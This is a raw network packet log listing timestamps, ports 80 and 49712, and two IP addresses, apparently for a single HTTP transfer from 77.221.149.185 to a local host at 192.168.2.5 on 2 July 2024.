Jul 2, 2024 22:52:24.421053886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421061039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421066046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421073914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421075106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421081066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421094894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421104908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421118975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421118975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421161890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421890020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421900988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421911001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421920061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421930075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421938896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421938896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421948910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421957970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421964884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421968937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421977997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421984911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.421988964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422004938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422024012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422785997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422796965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422806025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422816038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422825098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422833920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422833920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422852993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422861099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422869921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422875881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422887087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422895908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422904968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.422913074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422930956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.422949076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.423787117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423795938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423804998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423829079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423832893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.423839092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423847914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423856974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423866034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423876047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423886061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423886061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.423894882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423904896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.423913002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.423930883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.423943996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.424839020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424849987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424860001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424870014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424879074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424885035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.424887896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424896955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424905062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.424907923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424917936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424921989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.424926996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424935102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424945116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424954891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424962997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.424963951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.424989939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.425010920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.425725937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425812006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425825119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425834894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425844908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425853968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425863028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425864935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.425873041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425883055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425892115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425894022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.425901890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.425911903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.425930977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.426783085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426796913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426808119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426815987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426826000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426831961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.426835060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426845074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426853895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426866055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.426867008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426877022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426887035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426892996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.426896095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.426904917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.426947117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.427771091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427782059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427791119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427800894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427810907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427817106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.427820921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427831888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427841902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427845955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.427851915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427862883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427871943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427879095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.427881956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.427900076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.428427935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.428438902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.428448915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.428476095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.428503036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.462259054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462271929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462281942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462310076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.462383032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462393045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462403059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462413073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.462434053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.462455988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.508339882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508362055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508371115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508434057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.508511066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508521080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508531094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508539915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508567095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.508779049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508891106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508900881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508909941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508919001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508933067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508943081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.508943081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.508970022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.508986950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.509375095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509540081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509547949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509557009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509567022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509576082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509581089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509584904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509589911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.509589911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509598017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509610891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509620905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509627104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.509629965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.509644985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.509665966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510502100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510513067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510521889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510530949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510540962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510550022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510550022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510559082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510567904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510570049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510577917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510582924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510587931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510596991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.510607004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510628939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.510653973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.511399984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511410952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511420012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511429071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511437893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511442900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.511454105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511462927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511472940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511473894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.511481047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511490107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511492014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.511498928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511507988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511517048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.511518002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.511552095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512284040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512295008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512303114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512310982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512320995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512330055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512334108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512342930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512365103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512368917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512375116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512383938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512388945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512392044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512392998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512402058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512409925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.512411118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512434006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.512451887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.513367891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513396025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513405085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513413906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513423920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513432980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.513434887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513444901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513453960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513459921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.513463020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513472080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513478994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.513480902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513489962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.513495922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.513514042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514338017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514348030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514355898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514365911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514374971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514379025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514385939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514393091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514401913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514405966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514411926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514420033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514430046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514434099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514439106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514447927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.514451981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514465094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.514483929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.515326023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515340090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515351057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515360117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515369892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515378952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515388012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.515388012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515398026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515407085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515408993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.515417099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515425920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.515450954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.515477896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.516151905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516163111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516171932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516185999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516194105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.516196012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516205072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516213894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516215086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.516223907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516232014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516241074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516247034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.516249895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516259909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.516277075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.516303062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.551275015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551290035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551301956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551420927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551429987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551440001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551440001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.551450968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.551471949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.551497936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.597182989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597225904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597234964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597296000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597306013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597316027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597326040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597498894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.597498894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.597575903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597585917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597632885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.597702026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597709894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597718954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597728968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.597744942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.597790003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.598048925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.598059893 CEST	80	49712	77.221.149.185	192.168.2.5
